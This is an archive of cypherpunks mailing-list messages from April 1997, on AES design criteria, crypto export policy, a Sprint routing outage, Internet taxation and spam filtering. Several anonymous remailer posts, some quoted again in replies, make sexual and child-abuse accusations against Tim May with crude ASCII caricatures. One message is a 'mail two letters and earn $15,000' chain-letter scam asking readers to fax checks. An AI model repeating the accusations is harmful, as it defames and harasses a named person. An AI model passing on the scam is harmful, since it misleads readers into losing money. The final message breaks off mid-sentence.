Date: Sun, 27 Apr 1997 09:00:34 -0700 (PDT)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: [ANNOUNCEMENT] Meet-in-the-middle attack
In-Reply-To: <199704270826.EAA22338@dhp.com>
Message-ID: <Pine.A41.3.95.970427095909.73712A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 27 Apr 1997, lucifer Anonymous Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.


> Tim C[rook] May prefers to have sex with little kids 
> because his own penis is like that of a three-year-old.
> 
>       /\
>      /..\  Tim C[rook] May
>     /_\/_\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 27 Apr 1997 10:05:40 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: [ANNOUNCEMENT] Meet-in-the-middle attack
Message-ID: <199704271705.KAA30538@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Sun, 27 Apr 1997
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Cc: cypherpunks@toad.com
Subject: Re: [ANNOUNCEMENT] Meet-in-the-middle attack
Reply-To: Graham-John Bullers <real@freenet.edmonton.ab.ca>

On Sun, 27 Apr 1997, lucifer Anonymous Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.


> Tim C[rook] May prefers to have sex with little kids 
> because his own penis is like that of Graham-John Bullers.
> 
>       /\
>      /..\  Tim C[rook] May
>     /_\/_\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 27 Apr 1997 10:48:07 -0700 (PDT)
To: harka@nycmetro.com
Subject: Re: Staale & Elm
In-Reply-To: <TCPSMTP.17.4.26.-16.29.48.2780269260.1618548@nycmetro.com>
Message-ID: <3.0.1.32.19970427104602.0065f860@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:29 PM 4/26/97 -0500, harka@nycmetro.com wrote:
>1. Does anybody know, what happened to the International
>PGP-Homepage (http//www.ifi.uio.no/PGP/)? 
>It comes up as "Link not found" (?!)
>Also Staales personal page (http://www.ifi.uio.no/~staalesc/) seems
>to be gone...

It's there now.... must have been a glitch.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 27 Apr 1997 12:26:36 -0700 (PDT)
To: tz@execpc.com
Subject: Re: Crypto moves forward: Commerce Dept panel and SAFE markup
In-Reply-To: <Pine.GSO.3.95.970425201740.13101F-100000@well.com>
Message-ID: <3.0.1.32.19970427122125.031071a0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 06:50 PM 4/26/97 -0400, tz@execpc.com wrote:
>On Fri, 25 Apr 1997, Declan McCullagh wrote:
>
>> My lord, I'm agreeing with Jim Bell!
>> 
>> Right now, no controls exit on domestic crypto, though strict export
>> controls are in place.
>> 
>> The question is: Do we want to give up any domestic freedom in exchange
>> for a relaxation of export controls? (Congress is, after all, built on
>> compromises between warring factions.)
>> 
>> My instinct is to say "No." Let the courts strike down ITAR, EAR, and its
>> progeny, while we keep our freedoms domestically. 
>> 
>> -Declan
>
>I emailed Rep Goodlatte, but didn't get a response about this issue.  My
>main problem is that it becomes a felony to use encryption for anything
>that can be prosecuted if I take the legalese literally.  So if I have a
>GSM cell phone in a car that is illegally parked, it seems that I would
>fall under the definition.
>
>I would mind it less if, 1. There had to be a conviction for the main
>crime.  2. The main crime must be a serious felony (i.e. something far
>worse than a single overdrawn check).  3. The penaly for using encryption
>in furtherance should be less than that for the main crime.  4. encryption
>had to play an intrinsic role in the main crime.  5. It must go beyond
>common, everyday uses of encryption.

It is kind of similar to the laws involving guns and crime.  If they find a
gun anywhere near the crime scene they tack on bigger and better penalties. 
(For example: they break down the door of someone who has some quantity of
illegal molecules on their property and find a gun in the search.  Odds are
they will try and tack on the "gun used in commission of a crime" penalties.)
 Anything that can become a threat to those in power will become eligible for
such additional penalties at some point.  

"In the future it will be extra jail time for using fire and/or the wheel in
the commission of a crime.  and the people to bring it to you?  The TLAs!"

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBM2OnKOQCP3v30CeZAQGXIAf+JS45w58k062qNfMAOPs8zDrwi2V7LkrD
U1ibZoTCA8zr5PMP8/JqOEhY7vxWsduO53OHYJPKj46cqZ5WkLpTJdQUzJ1vRLTZ
/hvd84/MgWnThb+zVZoqywH3Ss049vq6RWSJQkNXkGzMrTi3920uOrAXd+55LclN
jDjsvEMTnyQN1ziF2v4SMaMNnd0zN0xVG+/xmm4CHcQL2FR0wJhSZGiyYilL21w6
9qIilgQmpx6t7Ma4V94CnFS/mJzPNc/0DHRvnuIBdSD/XPRvJdVdA+gwDXKDoMJk
SBhAI3mbrTvPRAP9AE+bco7ecxuDDhJElcTJDU2PjBowu4gfPL3WwA==
=72ny
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lester Gordon (temp)" <lrdon@cyberstation.net>
Date: Sun, 27 Apr 1997 11:04:50 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Don Wood -- IPG
Message-ID: <Pine.BSI.3.95.970427125721.12177A-100000@citrine.cyberstation.net>
MIME-Version: 1.0
Content-Type: text/plain


Have you seen what the notorious Don Wood of IPG infamy is up to now?
He has a new web page up at `http://www.seymourtex.com/newisrael/ni.htm'.
You won't believe it..





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 27 Apr 1997 11:01:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Fax Security Program
Message-ID: <1.5.4.32.19970427175927.0075b2f8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The TV show "Computer Chronicles" Saturday featured
various comm security products, one of which used a fax 
encoding system with unusual capabilities to transmit color
images, condensed text (say, a 30-page doc encoded
on a single fax page) or any other digital data as visual
clutter.

The hard copy is scanned at the receiving end and the 
program decodes and decompresses to the original format.

A demonstation showed that the clutter-code has error-correction 
robust enough to overcome any physical damage or defect in 
the transmittal or output.

We missed the name of the product and would appreciate
hearing from anyone who did, or who knows of the product.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 27 Apr 1997 14:46:10 -0700 (PDT)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Staale & Elm
In-Reply-To: <TCPSMTP.17.4.26.-16.29.48.2780269260.1618548@nycmetro.com>
Message-ID: <3.0.1.32.19970427144534.02beb820@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:46 AM 4/27/97 -0700, Bill Stewart wrote:
>At 04:29 PM 4/26/97 -0500, harka@nycmetro.com wrote:
>>1. Does anybody know, what happened to the International
>>PGP-Homepage (http//www.ifi.uio.no/PGP/)? 
>>It comes up as "Link not found" (?!)
>>Also Staales personal page (http://www.ifi.uio.no/~staalesc/) seems
>>to be gone...
>
>It's there now.... must have been a glitch.

I have been noticing a problem contacting sites all over Northern and Central
Europe.

I mirror selected crypto sites on a local system (for personal use, not
general distribution or FTP) and have noticed that I cannot get a reliable
mirror off of a couple of different sites.  sable.ox.ac.uk, hacktic.nl,
win.tue.nl and ftp.orpht.lu have all been unreliable/unreachable the last few
days.  I am not certain if this is a bandwidth issue or if someone is activly
interfearing with sites dealing in Unix Security/Crypto software.
(ftp.funet.fi has been tempermental, but reachable.  Sites in other areas
have been unaffected.)

Anyone have more data on this?
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBM2PI8+QCP3v30CeZAQHigQf+PjNmUdO4K6JMXOKiZZXhf7o5pB88Wqcx
4vkj5z2+jqFUZ1t+O+2LASIY7n9hWaQQDSPVmuMs1wLmnZo1fmtx2TO9WS5+Z1uN
OvFDdDpLsqshKA4jz43Ch79xePDXZLWpXfA0SpmoL2Wzc9Gtc1D9/k9JdGky1UDv
M7nnNY4vUpbkj7+jCguSnv6/V6/MdUIyy5pbn7DYjvLdZoPpa+D446vkAsb46UyI
ucw6PMWrhZVMViDY6JrRulEOeAZ4F/4OXOT8e9JZC74+YZSUda5z2kfkxmzpQRlH
d7+X4C7EXTeGjDajo3poRYYHZihO7VHV4eFX7wFZStfF2uzk5ZWfNA==
=WieQ
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sun, 27 Apr 1997 16:36:44 -0700 (PDT)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199704272331.QAA04632@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C. May prefers to have sex with little kids because his own 
penis is like that of a three-year-old.

      (_) _____ (_)
         /O   O\   Timmy C. May
        !   I   !
        ! \___/ !
         \_____/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 27 Apr 1997 16:33:07 -0700 (PDT)
To: Bruce Schneier <schneier@counterpane.com>
Subject: Re: AES Comments
In-Reply-To: <v03007802af87eb708bce@[206.11.192.175]>
Message-ID: <3.0.1.32.19970427163220.00667c40@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:27 PM 4/26/97 -0500, Bruce Schneier wrote to NIST about their
proposals for an Advanced Encryption Standard (AES) FIPS:

>With this in mind, I propose a set of Minimum Acceptability Criteria that
>pushes the envelope of current encryption algorithms:
>	A variable key, supporting (at least) a 128- and 256-bit key .
One of Bruce's comments is that any algorithm picked today will
probably be around until 2040-50; if computer speeds double every year,
then the marginally useful strength by then will be about 110-120 bits.
While it's nice to have an expandable key structure that will let you
increase the strength by then, 128 bits is really still strong enough,
and a fixed-keylength algorithm that's still workable in triple-mode 
should work just fine.
>		No more than double with a 256-bit key on any platform.
Allowing triple opens the field a lot, and by the time you need >128-bit keys,
machines will be so blazingly fast that a 50% difference won't matter much;
you'll still be able to encrypt that 1Gbps 3D video in real time.

>	Encryption speeds (in clock cycles per byte encrypted):
>		No more than 64 on an 8-bit smart card with a 128-bit key.

How fast do you really need, in seconds, for typical smart-card apps?
64 cycles at 1MHz is 16000 bytes/second; 128 cycles is 8000 bytes/second.
How fast are most smartcards?  1MHz?  2MHz?  500kHz?
The main uses I can see for 8-bit crypto processing are
- cheap, large-volume crypto for uncompressed voice (needs 8000 bytes/sec)
- adding crypto to digital phones ( ~800-1660 bytes/sec )
- money cards (if you're not using public-key, maybe you need 100 bytes,
	so 8000 bytes/sec is 1/80 sec transaction?)
- ATM machines (which typically have 4800-bits/sec data connections,
	== 600 bytes/sec, and often have 16-bit processors.  Even DES works.)

>		No more than 16 on a Pentium, Pentium Pro, PowerPC, or DEC
>		Alpha with a 128-bit key.
Which interestingly knocks out Blowfish (18 cycles), Khufu (20), and RC5 (23),
and the only things faster are SEAL and RC4 stream-only cyphers.
It's a tradeoff between forcing the development and testing of
cutting-edge speed, which may cost you in strength, vs. supporting a
bunch of existing algorithms we're starting to understand.
If it takes an extra 2 years to develop new algorithms,
you've doubled computer speed, so you could use the 17-32-cycle algorithms
you're rejecting today.....

>These requirements are not easy to meet.  As far as I know, no published
>block cipher meets them all (although some come close in many areas).  But
>requirements such as these will challenge the world's cryptographic
>research organizations to create something useful. 
>I know you realize that the selection process will take several years to
>complete.  Therefor, I urge you to approve triple-DES as an interim
>standard.  This will satisfy users who need a 64-bit block cipher for
>compatibility reasons, while allowing you the time required to choose and
>approve the best AES you can.

If this is the ulterior motive for requiring faster-than-current algorithms,
I'm all for it (:-)  Triple-DES is boring, slow, and just fine for most
applications.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Sun, 27 Apr 1997 17:07:36 -0700 (PDT)
To: alan@ctrl-alt-del.com
Subject: Re: Staale & Elm
In-Reply-To: <3.0.1.32.19970427144534.02beb820@mail.teleport.com>
Message-ID: <199704280005.RAA18503@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Alan Olsen writes:
> At 10:46 AM 4/27/97 -0700, Bill Stewart wrote:
> >At 04:29 PM 4/26/97 -0500, harka@nycmetro.com wrote:
> >>1. Does anybody know, what happened to the International
> >>PGP-Homepage (http//www.ifi.uio.no/PGP/)?
> >>It comes up as "Link not found" (?!)
> >>Also Staales personal page (http://www.ifi.uio.no/~staalesc/) seems
> >>to be gone...
> >
> >It's there now.... must have been a glitch.
> 
> I have been noticing a problem contacting sites all over Northern and Central
> Europe.
> 
> I mirror selected crypto sites on a local system (for personal use, not
> general distribution or FTP) and have noticed that I cannot get a reliable
> mirror off of a couple of different sites.  sable.ox.ac.uk, hacktic.nl,
> win.tue.nl and ftp.orpht.lu have all been unreliable/unreachable the last few
> days.  I am not certain if this is a bandwidth issue or if someone is activly
> interfearing with sites dealing in Unix Security/Crypto software.
> (ftp.funet.fi has been tempermental, but reachable.  Sites in other areas
> have been unaffected.)
> 
> Anyone have more data on this?


Yea, it's a problem with a Sprint customer who put out a bunch of
bogus routes.  Since friday I have been having problems connecting
to various sites, not all of them security-related.

According to an article in the Mercury News (info from more technically
knowledgable sources welcome):

  A problem at an Internet service provider in Virginia
  triggered a massive logjam on the Internet Friday, but
  the trouble was cleared up later in the day, Sprint
  Corp. said. A customer of MAI Network Services, a
  McLean, Va.-based Internet provider that is among
  900 companies that buy wholesale access to the Net
  from Sprint, entered 10,000 duplicate routes to the
  Internet backbone.   That caused massive access delays for
  an undetermined number of users, a Sprint spokes
  man said. 


I wonder how long it'll be possible for unauthenticated/unapproved people to
mess around with routers.  Eventually the net will become so important
(because so much business involves it) that a large outage will cost
a lot of important people money.  They'll demand that politicians
"do something" to fix it.  It's a safe bet that instead of
doing what hackers/software engineers/IETF members would do
to solve the problem, namely re-designing things so that a single error
can't bring down the whole net, they'll just pass a law requiring
that anyone who wants the 'enable' password to a cisco have first
passed a government-approved "Internet Administrators Class" and
gotten a license.


-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 27 Apr 1997 15:22:06 -0700 (PDT)
To: jya@pipeline.com (John Young)
Subject: Re: New Crypto Panel
In-Reply-To: <1.5.4.32.19970424163437.006df544@pop.pipeline.com>
Message-ID: <199704272222.RAA07351@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> Federal Register, April 24, 1997:
>     The Secretary of Commerce has determined that the 
> establishment of the President's Export Council
> Subcommittee on Encryption is in the public interest in 
> connection with the performance of duties imposed on the 
> Department by law.
>     Interested persons are invited to submit comments regarding 
> the establishment of the Subcommittee to Lee Ann Carpenter, 
> Committee Liaison Officer, OAS/EA/BXA, U.S. Department of 
> Commerce, MS: 3886C, Washington, D.C., 20230. Telephone: 
> 202-482-2583. FAX: 202-501-8024.

	Figures that they wouldn't provide an email address. Clues for the 
clueless anyone?

	




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 27 Apr 1997 15:39:49 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: "New Israel" (Re: Don Wood -- IPG)
Message-ID: <1.5.4.32.19970427223809.008c30ec@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Screwy as the New Israel idea may seem, it's been
around a while.

There was talk of such a plan in the early 90s to settle 
Russian Jews in the US Southwest, using decommissioned 
military bases as new Ellis Islands, kibbutzim, trailer 
trashheaps. As was eventually done in the Israel (our 
firm surveyed housing sites for the latter and learned of
the alternative US plan then).

We were told that the promise of Amer-Indian casino gambling 
made southwest real estate too attractive to devalue with
refugee camps, so the idea was deferred it until the gambling
gold rush eased, or a Mid-East conflagration kicked in an
emergency relocation plan devised by DoD (no surprise 
there, DoD contingency-plans the globe).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: <dave@xxxdoe.net>
Date: Sun, 27 Apr 1997 16:52:37 -0700 (PDT)
To: <cyoung6204@aol.com>
Subject: Mail Two Letters & Earn $15,000 Month !!
Message-ID: <m0wLdLy-001YL3C@alliance.net>
MIME-Version: 1.0
Content-Type: text/plain


JUST MAIL TWO LETTERS....AND
"Make up to $15,000 in ONE (1) MONTH"
RESULTS ARE GUARANTEED! (proof will be sent with order)

As unbelievable as it sounds. I have developed
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It's a money making discovery that is so powerful,
it's guaranteed to produce at least $500 (or more)
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simple instructions, or I'll pay you $100 for
just giving it a try. Others are doing it -
why not you? I'll show you exactly how it's done
and provide you with SPECIFIC FORMS AND INFORMATION.
You will not be able to believe how amazingly simple this is to do.

I know you've been bombarded with ads claiming to make you rich.
You've seen them - a guy telling you his tragic life story about being broke, cars being repossessed and living in poverty. Then, as if by magic, his problems are gone and he's standing by a very expensive car (probably isn't even his). Or throwing up wads of money (probably 100 one dollar bills) and telling you about his little secret he has to make you rich beyond your wildest dreams.

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You will make $15,000 in one month exactly as  outlined in my program, $500 average daily profit mailing  just sixteen (16) letters a year and doing ONLY 20 MINUTES average follow-up work a day. If you act now, it will be yours at ONLY a cost of $27.95 plus $2.00 shipping and  handling. With your permission, I'll RUSH this valuable money producing manual to you at my risk. NOT YOURS.


*****************************************************

Print & Mail This Order Form To:
Make Checks Payable To:

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P.O. Box 772261 - Dept. S
Coral Springs, FL 33077-2261

Okay, send me your entire package "MAIL TWO LETTERS AND MAKE $15,000 IN ONE MONTH". I understand if after receiving and implementing the process described in your manual, I become dissatisfied for any reason, you will honor your money-back guarantee for one full year. On that basis, enclosed is my $27.95 plus $2.00 Shipping & Handling.


NAME___________________________________________________


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CITY______________________STATE_____________ZIP________


EMAIL  ADDRESS_________________________________________


****************************************************

OR

PLEASE PASTE YOUR CHECK HERE

(If you fax a check, there is no need for you to send the original
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information from your original check that you faxed to us)

Please fax the above order form and check to: 1-954-255-3713.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 27 Apr 1997 20:10:59 -0700 (PDT)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199704272331.QAA04632@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970427210955.93240B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



Vulis you are sick.

On Sun, 27 Apr 1997, Mix wrote:

> Timmy C. May prefers to have sex with little kids because his own 
> penis is like that of a three-year-old.
> 
>       (_) _____ (_)
>          /O   O\   Timmy C. May
>         !   I   !
>         ! \___/ !
>          \_____/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 28 Apr 1997 00:18:06 -0700 (PDT)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Texas declares war...
In-Reply-To: <v0302095faf845187deee@[139.167.130.246]>
Message-ID: <3.0.1.32.19970428001502.005ea3d8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


A group of the Texan forces just invaded the home of one of their
neighbors, taking the couple there as "Prisoners of War".
The man was injured by glass, and has been treated.
They apparently haven't gotten along for quite a while,
and a number of the neighbors were starting to get
worried about the Republicans.  The house they attacked is
a heavy-duty adobe home.  The radio said the Republicans have
been communicating with the outside world, and that the normal
practice in this case was to cut the phone wires; didn't say if
the Republicans had the sense to bring a cell-phone or CB with them
when they attacked, but you'd hope an Internet-savvy group would :-)

To add some Cypherpunks content, this is one application for which
the pre-paid phone-card cellphones are a big win; if you've got
an account-based system, it's much easier for the Government to
ask the phone company what the suspects' phone number is
and order them to shut it down.  But card-systems would have to be 
traced from phone calls (very hard) or picked up with scanners.

Some other parts of the Republic have denounced this action.  
Invading a government building would have been one thing, 
but attacking civilian non-combatants is distinctly against 
the rules of "civilized" warfare...



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 27 Apr 1997 22:38:18 -0700 (PDT)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Cato forum on liquor advertising and electronic media
In-Reply-To: <1JZP6D4w165w@bwalk.dm.com>
Message-ID: <199704280540.AAA00449@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> Cigarette advertizing is what created TV in the U.S.

	Is this an argument _for_ banning cigarette ads, or against?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Mon, 28 Apr 1997 00:52:42 -0700 (PDT)
To: cypherpunks@toad.com
Subject: PATHS: Internet Taxation (Wednesday May 7, 4:15 pm) (fwd)
Message-ID: <Pine.GUL.3.95.970428005110.13976A-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain


FYI for SF Bay Aryans.

---------- Forwarded message ----------
                POLICY AND TECHNOLOGY HORIZONS SEMINAR

                          INTERNET TAXATION:
                     ECONOMICS, TECHNOLOGY AND LAW

                          CHARLES McLURE, Jr.
                          HOOVER INSTITUTION

                   Wednesday, May 7, 1997, 4:15 pm
              Manning Faculty Lounge, Stanford Law School
     (RSVP Susan French, SLTPC@forsythe.stanford.edu, or 723-0981)


Should electronic commerce be taxed, and how?

What should be taxed, income, sales, or both?

Who should tax, the federal government, states, or both?

Should a special excise tax be imposed on selected aspects of 
electronic commerce?

Is Internet taxation feasible, and how?

Answering these and similar questions requires agreement on the 
appropriate economic objectives of Internet taxation combined with an 
understanding of the dynamic interplay between technological and legal 
forces.

A draft paper will be available from http://www-techlaw.stanford.edu 
after May 2.

Charles E. McLure, Jr., a senior fellow at the Hoover Institution, 
specializes in the economics of taxation and tax reform.  He has 
served as Deputy Assistant Secretary of the Treasury for Tax Analysis, 
a senior economist on the staff of the President's Council of Economic 
Advisers, vice president of the National Bureau of Economic Research, 
and a tax policy consultant to various countries, the World Bank, the 
International Monetary Fund, and the United Nations.

Policy and Technology Horizons Seminars (PATHS) examine technological 
developments that may require a fundamental re-examination of policy, 
law, and regulation. Sponsored by the Stanford Law and Technology 
Policy Center, PATHS help identify critical policy issues in time for 
intelligent policymaking.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MailMan@mail1.access.digex.net
Date: Mon, 28 Apr 1997 03:38:41 -0700 (PDT)
To: Magi-Mail@backnet.com</A>
Subject: Entrepreneur's Candy Store
Message-ID: <Magi-Mail@backnet.com>
MIME-Version: 1.0
Content-Type: text/plain


You're about to discover that not *everything* that lands in your e-mail
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Mon, 28 Apr 1997 02:41:49 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Textual Analysis of Spam
Message-ID: <Pine.SOL.3.96.970428023215.21960A-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



I'm currently writing a spam-filter and bouncing messages based on header
information and keyword counts. This gets about 80% of the spam, but also
gives about 1% false positives. Has anyone done any more sophisticated
analysis of spam text than this? I can't find anything on the Web.

	Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 28 Apr 1997 01:30:01 -0700 (PDT)
To: Rich Graves <llurch@networking.stanford.edu>
Subject: Re: PATHS: Internet Taxation (Wednesday May 7, 4:15 pm) (fwd)
In-Reply-To: <Pine.GUL.3.95.970428005110.13976A-100000@Networking.Stanford.EDU>
Message-ID: <199704280828.DAA08777@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.GUL.3.95.970428005110.13976A-100000@Networking.Stanford.EDU>, on
04/28/97 at 01:52 AM,
   Rich Graves <llurch@networking.stanford.edu> said:


>Should electronic commerce be taxed, and how?

No, NEVER!!!

>What should be taxed, income, sales, or both?

None of the Above

>Who should tax, the federal government, states, or both?

Neither

>Should a special excise tax be imposed on selected aspects of  electronic
>commerce?

No ofcource not.

>Is Internet taxation feasible, and how?

No it is not.

>Answering these and similar questions requires agreement on the 
>appropriate economic objectives of Internet taxation combined with an 
>understanding of the dynamic interplay between technological and legal 
>forces.

<sigh> It is obvious that whomever wrote this that they have already made
up their mind that the Internet should be taxed and are only interested in
disscussing on how to divide up the loot.

The above questions are a good example of push polling though.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Have you crashed your Windows today?

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 28 Apr 1997 01:43:22 -0700 (PDT)
To: "Lester Gordon (temp)" <lrdon@cyberstation.net>
Subject: Re: Don Wood -- IPG
In-Reply-To: <Pine.BSI.3.95.970427125721.12177A-100000@citrine.cyberstation.net>
Message-ID: <199704280838.DAA08848@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.BSI.3.95.970427125721.12177A-100000@citrine.cyberstation.net>, on
04/27/97 at 12:01 PM,
   "Lester Gordon (temp)" <lrdon@cyberstation.net> said:


>Have you seen what the notorious Don Wood of IPG infamy is up to now? He
>has a new web page up at `http://www.seymourtex.com/newisrael/ni.htm'. You
>won't believe it..

After his rants about reusable OTP using PRNG's I doubt anyone is surprised
that he is not playing with a full deck. I guess he should have spent more
